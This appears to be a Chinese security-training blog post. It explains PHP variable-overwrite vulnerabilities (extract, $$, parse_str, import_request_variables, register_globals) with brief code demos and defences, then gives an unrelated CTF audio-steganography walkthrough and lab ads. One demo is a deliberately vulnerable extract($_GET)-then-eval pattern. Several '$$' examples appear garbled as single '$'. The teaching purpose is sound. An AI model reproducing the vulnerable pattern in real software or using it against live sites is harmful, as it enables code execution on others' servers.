最近在挖洞和看一些ctf题目中可以看到一些变量覆盖的知识点,之前对这个方面学习的有点不全面,虽然网上有这方面的文章,但是感觉讲的不是很全面,所以就决定写一篇文章来总结这方面的知识。
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID3ec0-232d-4e11-8cb0-52a8620c51ee (通过该实验,详细了解PHP中变量覆盖漏洞相关的知识。如:$使用不当,extract()函数使用不当,parse_str()函数使用不当,import_request_variables()使用不当,开启了全局变量注册等。)
漏洞原理
变量覆盖是指可以用自己的传参值代替程序原有的变量值。
漏洞寻找
例如下面的函数或者语法使用不当时就会出现漏洞。
$
extract()
parse_str()
import_request_variables()
mb_parse_str
register_globals
漏洞解析
这里先分析函数,再分析漏洞。
extract()
原理
extract()函数从数组中将变量导入到当前的符号表。
例如
<?php $a = "eeknight"; $my_array = array("a" => "C","b" => "T", "c" => "F"); extract($my_array); echo "\$a = $a; \$b = $b; \$c = $c"; ?> 输出: $a = C; $b = T; $c = F
攻击手段
这里先举个例子
<?php $a="echo 'eeknight';"; echo $a; echo "\n"; eval($a); ?> 输出: echo 'eeknight'; eeknight
在上面双引号包裹了单引号,然后通过eval去利用他,就可以直接输出单引号里的东西了。
为什么要说这个东西,因为当你单引号里的东西可以被利用,是不是就可以写什么执行什么了。
怎么利用呢,这时候刚才介绍的extract就发挥作用了。
把上面的例子简单改一下
<?php $a="echo 'eeknight';"; extract($_GET); eval($a); ?>
$
原理
$产生的漏洞主要是因为foreach遍历数组的值,然后将获取的数组键名作为变量,数组中的值作为变量的值。
在这先简单介绍一下foreach和$。
foreach循环只适用于数组,并用于遍历数组中的每个键/值对。
<?php $colors = array("red","green","blue","yellow"); foreach ($colors as $value) { echo "$value \n"; } ?> 输出:red green blue yellow
$这里举个栗子
在PHP中,$var表示一个名为var的普通变量,它存储字符串、整数、浮点等任何值。而$var是一个引用变量,用于存储$var的值。
在我看来就是套娃。
<?php $var = "ee"; $var = "eeknight"; echo $var ; echo "\n"; echo $var; echo "\n"; echo "$ee"; ?> 输出:ee eeknight eeknight
parse_str()
parse_str()把查询字符串解析到变量中。
parse_str(string,array) string 必需。规定要解析的字符串。 array 可选。规定存储变量的数组的名称。该参数指示变量将被存储到数组中。 <?php parse_str("name=eeknight&age=20"); echo $name."\n"; echo $age; ?> 输出:eeknight 20
攻击方式
通过上面的例子,可以想到,如果parse_str()括号是GET,PSOT等之类的,我们是不是就可以直接执行我们要的函数。
mb_parse_str
mb_parse_str— 解析 GET/POST/COOKIE 数据并设置全局变量
具体的用法和上面的parse_str()一样。
这里就不多说明了。
import_request_variables()
import_request_variables()函数将 GET/POST/Cookie 变量导入到全局作用域中。
<?php import_request_variables("gP", "ee_"); echo $ee_knight; ?>
攻击方式
只要利用了这个函数,就可以直接对里面的变量进行赋值。
register_globals
register_globals的意思就是注册为全局变量
当php.ini中register_globals=On时,传递过来的值会被直接注册为全局变量,当为off时,需要到特定的数组中去得到
例子
<?php echo "Register_globals: ".(int)ini_get("register_globals")."<br/>"; if ($auth){ echo "hello!"; } ?>
ON
OFF
这里ON-->OFF的转换时记得重启一下apache。
一些附加说明
为什么echo "\$a = $a; \$b = $b; \$c = $c";这里要加上\呢
解:这些斜杠的的意思就是,让后面的变量失去意义。那么写的是什么就是什么。
parse_str()
php.ini文件中的magic_quotes_gpc设置影响该函数的输出。如果已启用,那么在parse_str()解析之前,变量会被 addslashes() 转换。
import_request_variables()
该函数在最新版本的 PHP 中已经不支持。
支持的版本:PHP 4 >= 4.1.0, PHP 5 < 5.4.0。
register_globals
register_globals从php5.3.0起废弃,并从php5.4.0时移除。
漏洞防御
addslashes()
addslashes()在每个双引号(")前添加反斜杠。
使用原始变量,不进行变量注册;
验证变量存在,如果一定要进行变量注册,可以在注册变量前先判断变量是否存在。
Stegano 3个音频隐写
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
进入实验地址https://www.yijinglab.com/expc.do?w=exp_ass&ec=ECID172.19.104.182014121211154100001。
先看第一类题查看频谱图使用Audacity打开sound1.wav文件。
用Audacity这个工具打开就是因为Audacity提供的强大的音频分析功能,包括波形图、频谱图等各种图形可视化效果。
Audacity默认显示的是音频文件左右两个声道的波形图,我们可以尝试切换到频谱图进行分析,操作步骤为:在Audacity中点击第一个声道的波形图左侧的文件名(这里为sound1),在弹出的菜单中选择“频谱图”,就可以切换到频谱图模式了,如图所示:
Get到flag一枚,神奇。
再来看题,使用Audacity打开sound2.wav文件,仔细听其中发出的声音,发现前面半段音频发出的声音很难挺清楚在说什么,而后面半段则可以清晰的听到一段英文发音。
听是不可能听出来的,这里音频可是被反向了,在Audacity中,选择“特效”、“反向”菜单项,然后播放反向之后的音频,如图所示:
处理之后,就可以清晰的听到声音the flag is high_level_encryption,这就是我们所要找的Flag字符串了。
还有一种。
继续看第三种使用Audacity打开sound3.wav文件,发现左右两个声道的波形图完全不一样,其中第一个波形图只在时间轴的中间部分存在一些有规律的小点,而第二个波形图则是正常的声音波形图,如下图所示:
按下键盘左下角的Ctrl按键,同时滚动鼠标滚轮,对波形图进行放大操作,其中第一个波形图放大后如图所示:
这种就是摩尔斯电码,这里考的也是摩尔斯电码,其中较短的波形表示点“.”,而较长的波形则表示横线“-”,而间隔较远的两个波形图则认为是两个不同的摩斯码。因此,第一个声道的波形图可以表示为:..... -... -.-. ----. ..--- ..... -.... ....- ----. -.-. -... ----- .---- ---.. ---.. ..-. ..... ..--- . -.... .---- --... -.. --... ----- ----. ..--- ----. .---- ----. .---- -.-.
使用JPK进行解码,打开桌面上的JPK,将摩斯码输入之后,依次选择菜单项“Ascii”、“Decode”、“DeMorse”,得到字符串5BC925649CB0188F52E617D70929191C,如图所示:
注意摩斯码不区分大小写,JPK默认转换为大写形式,所以如果得到的字符串提交不正确,可以尝试转换为小写形式提交。
这道题有3个问题,每一个都要仔细才能得出答案。和上次的隐写题一样,利用工具分析音频,再输入摩斯码就可以得出答案了。
想亲自体验这些精彩的实验吗?点击下方按钮注册,一起来实战!
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

